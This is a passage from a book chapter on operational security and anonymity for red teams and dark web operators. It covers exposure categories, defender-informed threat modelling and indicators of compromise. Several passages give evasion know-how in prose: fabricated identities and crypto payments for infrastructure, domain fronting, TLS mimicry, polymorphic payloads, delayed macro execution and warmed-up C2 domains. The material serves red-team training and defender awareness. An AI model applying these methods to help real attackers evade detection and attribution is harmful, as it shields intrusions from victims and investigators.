anonymity is not a luxury; it is a prerequisite. For many, maintaining anonymity isn’t just
about hiding identity and preserving operational continuity, credibility, and even survival.
Technologies like The Onion Router (Tor), virtual private networks (VPNs), burner phones,
and cryptocurrency mixers represent the infrastructure of modern anonymity. But these tools
are only as strong as the practices that surround them. A user who connects to a VPN using
a credit card linked to their real identity, or accesses Tor from a home IP address, undermines
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the very cloak of protection they seek to use. In this way, anonymity is not a tool; it is an
ecosystem of habits, technologies, and decisions that must align to be effective.

In both legitimate cybersecurity exercises and illicit online behavior, anonymity and OpSec
intersect constantly. A lapse in one often compromises the other. For instance, if a Red Team
operator uses a domain tied to their professional email account, or if a threat actor for-
gets to strip metadata from shared documents, those traces can be used to unmask identity
or compromise infrastructure. The digital world offers few second chances. Once exposed,
infrastructure is often blacklisted, identities are scrutinized, and the ripple effects can reach
clients, employers, or law enforcement.

Operational Security must be practiced with rigor, not assumption. Every tool used should
be evaluated for fingerprintability. Every communication channel should be viewed as a
potential leak. Every behavioral pattern should be examined for anomalies. Infrastructure
must be aged, diversified, and geographically distributed. Digital identities must be isolated,
ephemeral, and disposable. Only through this meticulous attention to detail can operational
anonymity be maintained in high-risk environments.

What the rise of OpSec and anonymity tells us is that the digital realm is no longer a low-
risk space for mistakes. From cyber warfare to penetration testing, from whistleblower leaks
to ransomware extortion, the line between legal, ethical, and illegal activity is often drawn
by attribution and accountability. In this high-stakes arena, the actors who thrive are not just
those with technical skills but those who can operate invisibly, silently, and without leaving
behind a fingerprint.

5.2 EVOLUTION OF OPSEC

The evolution of OpSec from a military discipline to a cornerstone of cyber operations illus-
trates a broader shift in how we perceive information, control, and risk. The enemies have
changed; what was once guerrilla fighters is now enterprise defenders. The terrain has shifted
from jungles to data centers. But the rules remain the same: conceal what matters, misdirect
where necessary, and above all, protect the mission by protecting the information. For those
navigating the shadows, whether ethically or not, this is the new frontline. In the evolving
landscape of the Dark Web, where anonymity is currency and operational exposure can be
fatal, the discipline of operational security (OpSec) has emerged as a cornerstone of both
survival and success. Although OpSec was originally formulated within military doctrine,
standardized by the United States Department of Defense (DoD) its methodology has found
a powerful second life in the realm of cyber operations, particularly within offensive secu-
rity and Red Team activities. The essence of OpSec lies in maintaining the confidentiality of
mission-critical elements and denying adversaries any leverage that could compromise an
operation. For actors navigating the shadows of cyberspace, whether ethical hackers simulat-
ing attacks or malicious operatives evading detection, mastery of OpSec is not optional; it is
fundamental.

At its core, OpSec is not a one-time checklist but a dynamic, iterative process built on five
structured stages. When effectively implemented, these stages ensure a comprehensive frame-
work that continuously adapts to the changing threat environment. In Red Team operations,
where stealth, obfuscation, and misdirection define the rules of engagement, applying these
OpSec principles with rigor allows teams to avoid detection, maintain plausible deniability,
and preserve operational integrity.

The journey begins with the identification of what needs to be shielded from exposure.
This first step requires acute awareness of the information landscape that surrounds a cyber
operation. In traditional warfare, this might include troop movements or supply routes.
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In the cyber realm, especially for Red Teams mimicking adversarial behavior, critical data
encompasses the digital fingerprints and infrastructure that support the attack. These may
include the IP addresses tied to command-and-control (C2) servers, redirectors, or payload
staging points. Additionally, artifacts such as beaconing intervals, HTTP headers, payload
patterns, and any identifying elements embedded in traffic must be scrutinized. Operator-
level details, including usernames, browser characteristics, email headers, and even time zone
settings, become potential vectors for de-anonymization if mishandled. Domain registration
metadata, often overlooked, can betray more than intended, while the techniques, tactics, and
procedures (TTPs) used in operations can serve as breadcrumbs leading back to the origina-
tor if they align too closely with known patterns.

The operational takeaway here is clear: every detail matters. Even seemingly innocuous
information, if left unprotected, can offer defenders a thread to unravel the larger strategy.
Thus, before a single packet is transmitted, every operational element, like digital infrastruc-
ture, user personas, and behavioral signatures, must be cataloged and evaluated as poten-
tial liabilities. Metadata should be treated with the same sensitivity as payloads. This is not
paranoia; it is preparedness. Following this, attention must shift to the external landscape:
who is watching and what are they capable of seeing? This is the realm of threat analysis.
No operation occurs in a vacuum, especially not in today’s heavily instrumented networks.
Threat modeling in the cyber domain requires a thorough understanding of both internal
and external observers. Internally, organizations deploy sophisticated detection ecosystems:
behavioral analytics, endpoint monitoring, and centralized log aggregation systems such
as SIEM platforms. Externally, threat intelligence entities and public scanning engines like
Shodan or Censys monitor vast swathes of the internet in real time, correlating passive DNS
data, SSL certificate usage, and Autonomous System (AS) behaviors to flag anomalies.

In this phase, Red Team operatives must ask difficult but necessary questions: Who can
see us? Are our IP addresses or DNS records exposed in a way that might draw attention?
Could payloads reused from previous engagements be matched against threat databases,
undermining our uniqueness and pointing directly to us? This line of questioning is not just
philosophical; it is deeply tactical. Mapping the detection surface against potential observers
allows operators to shift from being reactionary to anticipatory. Once the threat landscape is
understood, it becomes necessary to probe for internal weaknesses, vulnerabilities that could
inadvertently reveal operational secrets. Vulnerability analysis, the third phase of OpSec,
delves into the misconfigurations, habits, and oversights that may betray the operator’s pres-
ence. Common culprits include poorly configured DNS settings that inadvertently expose
subdomains via wildcard entries, or reliance on public VPN services whose IP ranges are fre-
quently blacklisted or flagged. Payload testing, if not done in fully isolated environments, can
result in DNS leaks that alert sandbox or endpoint detection systems. Default configurations,
especially in widely used frameworks like Cobalt Strike, often betray their presence through
beacon frequency patterns or timing intervals that match known baselines.

This step demands technical rigor. It requires a full audit, not only of the tools used but
of the workflows and human behaviors behind them. Are encryption protocols applied uni-
formly and appropriately? Are command-and-control channels camouflaged effectively, or
do they follow the predictable defaults that automated detection engines are trained to iden-
tify? Without honest introspection and systemic review, even the most sophisticated Red
Team operation can be undone by an overlooked configuration or a lazy shortcut. Having
uncovered vulnerabilities, teams must now assess their severity and prioritize their response,
a process known as risk assessment. Risk is a function of both probability and impact.

For example, what is the chance that a particular domain name used in staging might be
flagged by passive DNS monitoring? And if it is, what would be the fallout? Would the infra-
structure be blacklisted mid-operation, compromising the entire mission? Could the TTPs
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employed be traced to a specific actor group or known toolkit, thereby eliminating the ele-
ment of plausible deniability? Such questions help determine where defensive energy should
be concentrated. Not every vulnerability demands immediate remediation; some risks are
tolerable, while others are existential. The key lies in objective evaluation and intelligent pri-
oritization. For instance, using a common open-source implant with minimal modification
may seem convenient, but the risk of attribution via threat intel platforms might outweigh
the savings in setup time. The operational context dictates the tradeoffs.

The final and perhaps most actionable stage in the OpSec lifecycle is the implementa-
tion of countermeasures. Here, theoretical risk analysis translates into tangible safeguards
like technical, procedural, or both. Mitigations can include crafting unique payloads that
evade standard detection heuristics, manipulating TLS certificates to mimic trusted services,
and employing ephemeral infrastructure designed for single-use scenarios. Domain fronting,
which routes traffic through benign-looking cloud services, can further obscure traffic pat-
terns. IP rotation and content delivery network (CDN) masking can add layers of ambiguity
that frustrate attribution efforts.

Moreover, sandbox testing of payloads should occur in air-gapped environments where
internet exposure is nonexistent. This ensures that telemetry data doesn’t inadvertently flow
to defenders during the testing phase. Infrastructure deployment itself can benefit from auto-
mation via Infrastructure-as-Code (IaC) tools. By embedding OpSec constraints into IaC
templates, teams can ensure that every instance spun up complies with operational secrecy
standards. Consistency is not just about efficiency; it is about minimizing human error, which
remains one of the greatest threats to operational anonymity.

Ultimately, the disciplined application of these five steps for critical information identifica-
tion, threat analysis, vulnerability analysis, risk assessment, and countermeasure deployment
serves as a continuous feedback loop. It ensures that each phase of a Red Team engagement,
from planning to execution to teardown, is fortified against the myriad ways in which digi-
tal operations can be compromised. In the broader context of the Dark Web, where stakes
often involve not just data but freedom or life itself, such rigor is not overkill; it is essential.
Actors operating in these domains, whether ethical or malicious, understand that OpSec is
not merely a process but a mindset. It requires constant vigilance, adaptability, and a willing-
ness to question even one’s own best practices.

As the arms race between defenders and adversaries accelerates, OpSec becomes the invis-
ible armor worn by those who dwell in the shadows. It is what separates a successful infil-
tration from a high-profile takedown. The Dark Web may thrive on anonymity, but it is
sustained by operational discipline—and it is here, in the silent art of staying unseen, that the
rise of OpSec finds its true purpose.

5.3 SECRECY,ANONYMITY,AND OPERATIONAL PRIVACY

In the murky terrain of the Dark Web and offensive cybersecurity operations, concepts like
secrecy, anonymity, and operational privacy are frequently mentioned, often interchangeably.
However, to conflate these ideas is to misunderstand the core tenets of secure underground
activity. Each of these pillars, though interconnected, serves a unique function in safeguard-
ing actions, digital infrastructure, and the identities of those operating in clandestine envi-
ronments. For threat actors, Red Teams, and surveillance evaders alike, this trio forms the
backbone of any robust operational security (OpSec) model. Misapplying or oversimplifying
these principles can inadvertently expose the operator, compromise engagements, and attract
forensic interest that could otherwise be avoided.
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Understanding the differences between secrecy, anonymity, and operational privacy is not
just a matter of academic nuance; it has direct implications for real-world operations. Poor
compartmentalization due to an overreliance on one pillar can create patterns, leaks, or fin-
gerprints that adversaries or forensic teams can exploit. Building an effective dark operation
requires a well-balanced integration of all three aspects, applied consistently and strategically
from the planning phase to execution and eventual disengagement.

At its core, secrecy deals with the protection of the content itself, the information being
transmitted, or the code being executed. It ensures that even if a communication is inter-
cepted, the substance of the message remains inaccessible to unauthorized entities. In the
context of Red Teaming or offensive operations, secrecy is achieved through techniques
that focus on the obfuscation or encryption of data, making it unreadable without spe-
cific keys or decoding mechanisms. This domain is unconcerned with who is sending or
receiving the information; it only focuses on making the content unintelligible to external
observers. For instance, operators might use custom-developed encryption schemes, often
lightweight XOR routines or robust AES-based methods to encode the traffic exchanged
between implants and command-and-control (C2) servers. They may also obfuscate or
polymorph payload strings to evade detection by YARA rules or static analysis engines.
Advanced evasion might involve using Transport Layer Security (TLS) encryption, where
the handshake metadata is masked through techniques such as Encrypted Server Name
Indication (ESNI), thereby concealing the domain information during negotiation. These
methods are primarily designed to evade packet sniffing, heuristic analysis, and signature-
based detection by security tools.

However, secrecy alone is not impregnable. There are several sophisticated techniques
that threaten this domain. Deep Packet Inspection (DPI) tools can analyze traffic beyond
superficial headers, looking for entropy anomalies or patterns typical of encrypted payloads.
Malware analysts can dissect binaries both statically and dynamically to uncover embed-
ded decryption routines or observe behavioral execution paths. Moreover, signature-based
systems like antivirus engines or intrusion detection systems may use static string matches or
behavioral signatures to uncover even the most cleverly disguised code.

While secrecy safeguards the “what,” anonymity focuses on obscuring the “who.”
Anonymity enables an operator to execute actions without those actions being linked back
to a real-world identity or even a consistent online presence. In anonymous environments, it’s
not just about hiding one’s name; it is about masking every digital clue that could be aggre-
gated to profile or deanonymize an individual. Consider an offensive operator who rents
virtual private servers using fabricated identities and prepaid cryptocurrencies. This setup
avoids financial or biometric trails that could tie back to the actual operator. They might
operate through the Tor network, ensuring their IP addresses are bounced across multiple
relays. To further reduce traceability, these actors often spoof hardware addresses like MAC
addresses and manipulate system locales, time zones, or keyboard layouts. They avoid log-
ging into any accounts or services that could be cross-referenced with real-world identities
or prior digital personas.

However, anonymity too is not absolute. Digital ecosystems are rife with indirect markers
like TLS fingerprints, browser behaviors, operating system quirks, and metadata embedded
in communications. Modern adversaries and surveillance systems deploy tools that analyze
behavioral patterns, browser characteristics, and timing correlations to identify unique users
across supposedly disconnected sessions. Email metadata, DNS queries, document metadata,
and even innocuous image uploads can leak breadcrumbs about an operator’s identity or
technical setup. Even well-intentioned anonymity can be compromised through side-channel
leaks or fingerprinting vectors, often without the operator’s immediate awareness.
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If secrecy protects the content and anonymity shields the identity, operational privacy deals
with the method - the how of an operation. This concept forms the broadest and most strate-
gic layer of OpSec. It encompasses both secrecy and anonymity but adds procedural depth to
ensure that even operational patterns, artifacts, and behaviors are isolated across campaigns.
The goal is to eliminate cross-contamination between activities that could enable adversaries
to build a cohesive picture through correlation. Operational privacy mandates discipline and
modularity in the execution of engagements. Each operation is treated as a compartmental-
ized mission with its own infrastructure, toolset, and digital fingerprints. An operator prac-
ticing solid operational privacy will not reuse payload templates, domains, or infrastructure
across different clients or missions. They might create isolated virtual machines for each
campaign, each preconfigured with distinct personas, browser environments, and geoloca-
tions. This also includes ensuring that command-and-control profiles are uniquely tailored,
using different beacon intervals, domains, and SSL/TLS configurations for each engagement.

Critically, operational privacy emphasizes temporal and contextual separation. Operators
avoid simultaneous or near-simultaneous logins across different infrastructures, preventing
correlation via timing analysis. Even minor slips like reusing the same time zone, image size,
or payload compilation environment can lead to attribution, especially when attackers face
skilled incident responders or state-level surveillance. One real-world failure that exempli-
fies a breach of operational privacy involved a Red Team that reused a TLS certificate issued
by Let’s Encrypt for multiple client engagements. Although the team employed different IPs
and domain names, certificate transparency logs and a public monitoring system were able
to reveal a commonality between them. Analysts noticed the shared certificate hash, which
acted as a digital link across seemingly unrelated operations. This exposed the team’s broader
campaign and prompted early detection and intervention by security teams, effectively termi-
nating the engagements prematurely.

The intricate dance between secrecy, anonymity, and operational privacy must be cho-
reographed carefully. Each element compensates for the weaknesses of the others, forming
a multilayered defense mechanism. Yet, none of them is sufficient in isolation. Secrecy with-
out anonymity is like whispering a secret loudly in a public square—your words may be
encrypted, but everyone knows who is speaking. Likewise, anonymity without procedural
discipline leads to the recurrence of behaviors, signals, and signatures that forensic analysts
can correlate across instances. A unique set of browser fonts, unusual beacon timing, or
recurring C2 patterns can tie activities back to the same operator, even if pseudonyms or IPs
vary.

On the other hand, operational privacy without proper encryption or anonymization
leaves gaps where the payload may be captured in clear text or identity-linked logs may be
exposed. This is why modern offensive operators and privacy advocates insist on harmoniz-
ing all three pillars, integrating them seamlessly across every phase of planning, execution,
and withdrawal. Moreover, each domain must evolve to match the sophistication of detec-
tion technologies. As defenders advance in fingerprinting, sandboxing, and behavioral profil-
ing, operators must adopt countermeasures that mutate with every engagement. Rotating
cryptographic parameters, varying operational schedules, altering behavioral patterns, and
using machine learning-based evasion tools are no longer luxuries; they are necessities.

In a landscape where surveillance is increasingly algorithmic and automated, even mar-
ginal oversights can lead to catastrophic exposure. The rise of state-sponsored cyber units,
Al-powered threat intelligence platforms, and forensic cloud analytics has made the cost of
OpSec errors far more severe. The future of secure operations will not be won by relying
solely on tools or scripts, but by cultivating rigorous operational habits, where every action,
no matter how minor, is filtered through the lens of security hygiene. This requires a culture
shift among Red Teams, activists, and underground operators. The focus must move away
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from only “what tools are being used” to “how those tools are deployed, managed, and
retired.” Infrastructure-as-code practices must include randomized naming, variable behav-
ioral scripts, and automation pipelines that prevent human error. Logs must be ephemeral.
Payloads must be environment-aware and able to morph dynamically. Environments must
simulate locality and user realism convincingly enough to evade both technical and behav-
ioral inspection.

OpSec is no longer just a defensive strategys it is a living, adaptive process that must be
embedded into every layer of an operation. Its foundation rests on understanding the distinc-
tions and interactions between secrecy, anonymity, and operational privacy, and leveraging
those in unison to create a system that is not only hard to penetrate but difficult to even
detect. As the ecosystem of digital espionage, underground commerce, and activist commu-
nication continues to mature, so must the models of protection that enable them. The rise of
OpSec and the pursuit of anonymity is not a passive trend; it is a necessary evolution. And
for those who operate in the shadows, it is the difference between freedom and exposure,
success and sabotage.

5.4 CATEGORIES OF EXPOSURE

As digital ecosystems expand and defenders grow more capable, adversaries and ethical
operators alike must approach security as a multi-dimensional endeavor. OpSec is no longer
confined to hiding IP addresses or encrypting communications. It now requires a robust
framework to assess vulnerabilities across all layers of a digital operation. A modern approach
to operational anonymity demands awareness of Civil, Technical, and Behavioral exposure
points. These distinct yet interconnected categories represent the principal vectors through
which individuals and organizations are identified, tracked, and ultimately unmasked.

Civil exposure

Civil exposure refers to leaks or correlations that tie digital activity back to real-world identi-
ties. These exposures are perhaps the most insidious because they often arise from negligence
or oversights in the early setup stages of an operation, when infrastructure is being laid out,
tools are being procured, and personas are being developed. Many compromises begin not
with a hacked server, but with a carelessly used email account. It is not uncommon for opera-
tors, particularly those new to high-security engagements, to use personal or company email
addresses when registering virtual private servers (VPS), purchasing domains, or configuring
cloud tools. These identifiers may be logged by registrars or retained in publicly accessible
records such as WHOIS databases. Similarly, using traceable payment methods like credit
cards or bank accounts linked to one’s legal identity leaves a permanent financial trail. Even
social media can become a liability: operators who build digital personas without isolating
them from real-life accounts may inadvertently connect their operational alias to a LinkedIn
or GitHub profile.

The solution lies in creating hermetically sealed digital identities, false personas that can
withstand scrutiny from open-source intelligence (OSINT) tools. This involves more than just
fake names. It includes acquiring burner emails, phone numbers, and cryptographic wallets;
ensuring cryptocurrency is used for all transactions; and removing any connection to real
contact details. Devices used in such operations should be physically and digitally isolated
from personal ones, with no crossover in login credentials, IP history, or cloud synchroniza-
tion. Such systems are often described as “air-gapped OpSec kits,” where everything from the
browser to the operating system is sandboxed from real-world identity markers.
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Technical exposure

Technical exposure deals with the footprints left behind by tools, communication protocols,
and digital infrastructure. This is the domain where firewalls, intrusion detection systems
(IDS), and advanced threat intelligence thrive. And it is precisely where operators often falter
by relying on default configurations or off-the-shelf tools without customization. One of the
most common pitfalls is the use of default command-and-control (C2) beacon profiles. Tools
like Cobalt Strike or Metasploit, widely used in penetration testing and cyber operations,
often come with standardized traffic patterns, default User-Agent strings, static URI paths,
or hardcoded HTTP headers. These patterns are easily detected and flagged by YARA rules
or signature-based detection systems used by security teams. Moreover, VPNs that route
traffic through known commercial providers can themselves become indicators of malicious
activity. IP ranges associated with popular VPN services are often cataloged in threat intel-
ligence feeds, making them high-risk choices for serious operators. TLS certificates, another
potential source of exposure, can be traced via Certificate Transparency logs. Reusing certifi-
cates across engagements or failing to rotate them increases the probability of detection and
correlation.

Advanced operational environments counteract these risks through rigorous customiza-
tion. Implants are compiled using randomized code structures to avoid static analysis. TLS
handshakes are manipulated to mimic legitimate services, for example, copying Microsoft
CDN configurations. DNS strategies are hardened through the use of wildcard records,
passive DNS monitoring, and sinkholing techniques. Every element of communication is
redesigned to appear benign, blending seamlessly with everyday network traffic. The chal-
lenge with technical exposure lies in its evolving nature. Tools and configurations that are
considered safe today might become indicators of compromise tomorrow. That’s why con-
stant threat intelligence monitoring and infrastructure hygiene are not optional—they are
fundamental.

Behavioral exposure

No matter how sophisticated the tools or isolated the infrastructure, the operator themselves
often becomes the weakest link. Behavioral exposure stems from recurring habits, time pat-
terns, and decision-making workflows that reveal more than the operator intends. Consider
an operator who habitually logs into a C2 server every evening between 8:00 and 8:30 PM
from the same geographic region. Over time, even if their IP is hidden behind layers of obfus-
cation, the consistent pattern becomes traceable. Similarly, reusing the same infrastructure
deployment strategy, such as sticking to familiar port numbers or using the same naming
convention for domains, creates a behavioral fingerprint.

The timing and sequence of operations can also raise red flags. For instance, when recon-
naissance, exploitation, and data exfiltration all occur within a narrow timeframe, say, under
15 minutes, the unnatural rapidity betrays the non-human nature of the actor. Likewise, the
way an operator navigates a target environment, opening specific folders, executing com-
mands in a certain order, can reflect their unique digital behavior. Mitigating these vulner-
abilities requires injecting entropy into operational behavior. This can be achieved through
techniques such as time fuzzing, which adds randomized delays or jitter to scheduled tasks
and callbacks. Hostnames, ports, and directory names should be automatically randomized
using scripts or dynamic generation tools. Moreover, emulating legitimate user workflows,
such as opening documents, running scripts as system tasks, or simulating browser inter-
actions, can lower the behavioral signature. Decoys and false positives are also strategic
tools. By performing misleading or irrelevant actions, operators can flood logs with noise,



The rise of OpSec & anonymity 125

Table 5.1 Exposure categories

Category Example Vector Risk Level Common Oversight

Civil Using personal email for domain High Credential reuse across personal
registration and op layers

Technical Default beacon profile from the Ciritical Lack of customization in tool
commercial C2 framework configuration

Behavioral Operator connects nightly from the  Moderate No automation or diversity in
same location behavior patterns

frustrating analysts and diverting attention from the true objective. Behavioral camouflage,
combined with environmental deception, forms the psychological frontier of OpSec.

To manage the broad spectrum of risks, operators must categorize exposure into civil,
technical, and behavioral domains. Each vector has its own mechanisms of detection and
mitigation, and overlooking any of them may open a pathway to compromise, as displayed
in Table 5.1.

This model serves as a guidepost for constructing a secure operation. Rather than rely-
ing on intuition or fragmented practices, operators can evaluate each stage of their mission
across these domains, systematically identifying gaps and reinforcing defenses. In one notable
Red Team engagement, a sophisticated adversary simulation fell apart due to a combination
of technical and behavioral exposure. The operators reused redirector infrastructure, servers
designed to funnel and disguise malicious traffic across multiple campaigns. These redirectors
retained identical IP addresses, TLS certificates, and port configurations, which eventually
formed a recognizable pattern. To make matters worse, the team habitually reconnected to
their command servers at the same time window during each engagement. The Blue Team,
equipped with robust detection tools and correlation analysis, spotted these anomalies and
successfully attributed the activity. This led to a full compromise of the Red Team’s operation
and an early termination of the exercise. The lesson was clear: operational security is not
about merely hiding; it is about transforming, constantly mutating digital behavior, infra-
structure, and identity to stay one step ahead of defenders.

True anonymity and operational integrity arise not from a single tool or technique, but
from a mindset of discipline. It requires thinking across dimensions: what you touch, how
you touch it, and when you do it. Every email address, every file name, every login timestamp
is a potential breadcrumb. An operator’s toolkit is not just a collection of exploits or pay-
loads; it includes domain registration policies, cryptocurrency wallets, scripting libraries for
behavioral emulation, and backup personas in the event of a burn. Above all, it includes fore-
sight, the ability to think through the second- and third-order effects of every action taken
in cyberspace. In the age of ubiquitous surveillance, behavioral analysis, and OSINT auto-
mation, surviving the digital underground means building operations that are as fluid and
untraceable as vapor. And that begins with understanding where and how exposure occurs.

5.5 THREAT MODELING FOR ADVERSARIAL SIMULATION

This section explores the growing sophistication of operational security (OpSec) and ano-
nymity in offensive operations, particularly within the context of a modern defender’s visibil-
ity landscape. We assume an environment where Blue Teams are mature, armed with logging,
alerting, and behavioral analytics across network, endpoint, and cloud infrastructures.
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To design evasive engagements in such an environment, operators must adopt a defender-
informed threat model that dissects how each action they perform might be exposed through
telemetry, and how detection surfaces evolve from reconnaissance to data exfiltration.

For a Red Team to blend into the noise of normal operations or appear as innocuous activ-
ity, it is imperative to understand what exactly is observable at each stage of the attack life-
cycle. Offensive actions should not be designed in isolation but rather mirrored against the
specific controls and visibility that defenders possess. A comprehensive mental model maps
each phase of a typical Red Team engagement from reconnaissance, initial access, execution,
persistence, lateral movement, command-and-control (C2), to exfiltration against potential
telemetry and detection vectors available to the defending Blue Team. For example:

¢ During reconnaissance, external scanning or even passive DNS resolutions may light
up sensors embedded in threat intelligence platforms or SIEM systems that monitor
external behavior.

¢ In the initial access stage, malicious documents or payloads delivered through phish-
ing may be intercepted by email gateways, detonated in sandboxes, or flagged by EDR
platforms.

¢ Execution often generates noise in the form of suspicious process launches, anti-mal-
ware scan interface (AMSI) logs, or memory anomalies, all of which are prime detection
points.

o Tactics used for persistence, such as registry modifications, scheduled tasks, or startup
entries, can easily trip host-level monitoring systems, including Sysmon or WMI-based
logging.

¢ Lateral movement techniques leave trails via protocols like SMB, WMI, or RDP, which
are monitored through network-based sensors and Windows Event Logs.

¢ (C2 communications can be exposed through distinct TLS fingerprints, recurring beacon
patterns, or traffic anomalies, all of which are picked up by proxy logs, NetFlow, or JA3
fingerprinting tools.

¢ And finally, data exfiltration efforts, especially those involving archives, encoding, or
large outbound transfers, are often caught by data loss prevention (DLP) tools or net-
work anomaly detection engines.

This visibility matrix is not static. It evolves with every update to security tools, every new
behavioral rule written, and every emerging pattern learned by defenders over time. Thus,
Red Teams must treat all stages of their operation as inherently observable and design with
the aim of minimizing detection, rather than assuming invisibility.

Effective threat modeling from the offensive side hinges on asking the right questions
about the defender’s tools and strategies. A well-informed operator begins by evaluating the
telemetry landscape of their adversary:

e What types of logs and data does the Blue Team ingest?

¢ Are they employing platforms that correlate data from multiple sources, such as Splunk,
Microsoft Sentinel, or the Elastic Stack?

¢ Do they rely solely on signature-based detection mechanisms, or do they integrate
behavioral analysis via User and Entity Behavior Analytics (UEBA) or Extended
Detection and Response (XDR) platforms?

The next layer of modeling involves analyzing how detectable the Red Team’s tooling and
techniques are. Can the implant be identified through its binary fingerprint or behavioral
quirks? Does the network traffic it generates deviate in timing, size, or structure from normal
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user activity? Are the infrastructure components, such as domains or certificates, easily linked
to known malicious behavior or shared infrastructure? Attribution modeling becomes the
final piece of the puzzle. Operators must evaluate whether aspects of their infrastructure or
TTPs reveal links to prior engagements. Common pitfalls include reusing file hashes, not ran-
domizing TLS fingerprints, or relying on staging servers previously associated with offensive
operations. In today’s interconnected security environment, even slight consistencies across
operations can lead to detection and attribution.

Modern Red Teamers must abandon the assumption that any part of their operation is
safe from scrutiny. Instead, they should operate with the mindset that every action they take
will, at some point, be logged, stored, and potentially analyzed. With this paradigm shift, the
goal transitions from remaining invisible to reducing the clarity or confidence of detection.
Consider the example of a spear-phishing campaign using a Word document embedded with
a macro. A thorough threat model would anticipate the following: the attachment might
be automatically detonated by an email gateway sandbox, metadata within the document
could inadvertently disclose the operator’s identity, and the command-and-control domain
used might already be known to threat intel platforms or sinkholed services like URLHaus.
Anonymity in this context demands a proactive set of countermeasures, such as obfuscating
filenames, implementing delayed macro execution logic, and ensuring that C2 domains are
“warmed up” with normal activity to build trust profiles before deployment.

To better understand and plan for detection scenarios, Red Teams should leverage exist-
ing tools that model defender telemetry and analysis techniques. Resources like the MITRE
ATT&CK Navigator help map offensive TTPs to specific detection mechanisms and cov-
erage areas. Similarly, platforms such as Splunk Security Essentials and Elastic Detection
Rules expose how various attacks are logged, parsed, and alerted upon in real-world security
monitoring setups. The Sigma project offers a cross-platform detection rule language that
maps offensive behavior to alert signatures. Reviewing Sigma rules can provide invaluable
insight into how an action, such as creating a new user, executing PowerShell with encoded
commands, or writing to specific registry paths, might trigger an alert in a typical SOC envi-
ronment. Red Teams can use Atomic Red Team simulations to safely execute mock adversary
actions and observe the telemetry and alerting they generate, further enhancing situational
awareness and evasion tactics.

In earlier eras of offensive security, defenders were often reactive, signature-based, and nar-
rowly focused. Today’s defenders are data-driven, context-aware, and capable of long-term
correlation across systems and time windows. Operators must begin to view the Blue Team
not as a static wall to bypass but as an intelligent, evolving adversary, one that observes pat-
terns, learns over time, and even retroactively detects threats based on prior unknown signals.

For instance, defenders might baseline normal behavior patterns and use machine learning
to detect even minor deviations. They could observe TLS session attributes like JA3 finger-
prints and trace them across multiple days or departments. They might correlate beacon
intervals or packet timing variations to detect even obfuscated C2 channels. And perhaps
most critically, defenders often retain logs for months or years, allowing them to retrospec-
tively unravel an intrusion long after the Red Team has disengaged. It is important to inter-
nalize the notion that “detection” does not always equate to “prevention.” A stealthy attacker
may achieve all objectives during an engagement and still be fully exposed later during foren-
sic review or threat-hunting exercises. In the era of high-fidelity logging and behavioral detec-
tion, post-engagement attribution is a very real threat to operational anonymity.

A particularly illustrative case involved a Red Team engagement where operators reused
the same staging infrastructure, TLS certificate, and HTTPS profile across multiple engage-
ments. Though the engagements targeted different departments, the defender, as a capable
Blue Team, leveraged JA3 fingerprinting and certificate metadata to identify overlapping
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patterns. Once the correlation was established, the activity was flagged, reviewed, and ulti-
mately traced back to the engagement team, highlighting how minor lapses in OpSec can
cascade into full attribution.

Anonymity in offensive operations is not about hiding in darkness; it is about understand-
ing the light that defenders shine. Every network packet, system event, and protocol anomaly
is a potential breadcrumb leading back to the source. To maintain stealth and achieve opera-
tional success, Red Teams must embrace a proactive model of threat modeling that begins
before a single line of code is executed or a server is deployed. From infrastructure planning
to payload development, each step must account for how defenders think, what data they
have access to, and how they correlate that data to paint a coherent picture of adversarial
behavior. Operational security today is a dynamic chess match, one that requires not only
technical creativity but a deep, continuous empathy for the adversary’s perspective. Only
then can true anonymity in cyberspace be achieved.

5.6 INDICATORS OF COMPROMISE (10Cs)

Red Teams, tasked with mimicking adversaries to evaluate security posture, often walk a
fine line between simulation and exposure. When operational security is lax, their activities
may unintentionally mirror the behavior of real threat actors, making it easy for Blue Teams
to detect their presence, correlate their movements with other campaigns, and even tie back
activity to specific individuals or consulting firms. In essence, poor OpSec converts a con-
trolled simulation into a risky venture where attribution is not just possible but probable.
At the heart of detection lie IOCs—signals, patterns, or anomalies that suggest compromise.
These can be categorized based on where and how they manifest during an attack lifecycle.
In Red Team operations, three primary categories dominate: host-based, network-based, and
memory-based indicators.

e Host-based indicators are observable directly on the target system. They include
changes to the filesystem, such as payloads dropped in temporary directories or suspi-
cious DLLs embedded in legitimate processes. Registry modifications, especially those
aimed at persistence, like entries under Run or Services, also raise red flags. Processes
like rundll32, mshta, or regsvr32, when used outside their expected context, frequently
draw scrutiny. Telltale signs like mismatched timestamps or static strings embedded in
binaries can expose time-stomping efforts or reveal the use of reused payloads.

e Network-based indicators present themselves in outbound communications or dur-
ing command-and-control (C2) interactions. Malicious or previously flagged domains,
consistent beaconing patterns, unmodified TLS certificates, or fixed User-Agent strings
are all classic giveaways. More advanced detection systems analyze JA3 and JA3S fin-
gerprints, unique hashes of TLS client and server handshakes, which, when left unal-
tered, can betray the use of public tools like Cobalt Strike or Metasploit.

e Memory-based indicators delve into the runtime behavior of an intrusion. Forensic
analysts often scan memory dumps for plaintext shellcode, indicative syscall patterns,
or recognizable DLL loading behaviors. Unsophisticated techniques like direct injection
without proper obfuscation or encryption result in glaring evidence that becomes easy
to spot, even with basic memory inspection tools.

Unfortunately, Red Team operations are rife with examples of how seemingly minor mis-
steps lead to major compromises. Take, for instance, the notorious case of Cobalt Strike
default configurations. Over the years, countless adversaries, both simulated and malicious,
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have employed this powerful framework without changing its default behaviors. The conse-
quence? Blue Teams have become adept at identifying telltale signs like /submit.php C2 URIs
or generic self-signed TLS certificates. What should have been a stealthy assessment turns
into an immediately flaggable event.

Infrastructure-related errors are another common pitfall. Reusing domain names such as
corp-stage[.Jcom or client-c2[.]net across multiple engagements may seem convenient but
can be catastrophic. Tools that aggregate passive DNS data, like RiskIQ or VirusTotal, allow
defenders to trace historical records and identify patterns, often linking multiple operations
together. In some cases, this results in the exposure of a Red Team’s entire campaign play-
book before the first payload is even delivered. Metadata leakage adds yet another layer of
risk. Office documents crafted for phishing exercises, when not properly scrubbed, might still
carry author names, company details, or timestamps that point directly to the origin of the
document. A defender who inspects such files closely can unravel not just the tactic but the
team behind it.

Detection is no longer reactive. With the evolution of threat intelligence tools and plat-
forms, Blue Teams are actively scanning for signals left behind by careless Red Teams. Tools
like YARA allow the creation of granular rules to match patterns in files or binaries. Sigma,
on the other hand, translates generic log events into structured rules that can be used across
a variety of SIEM platforms. JA3/JA3S fingerprinting has become instrumental in match-
ing TLS behaviors with known tooling, while platforms like Elastic and Splunk offer real-
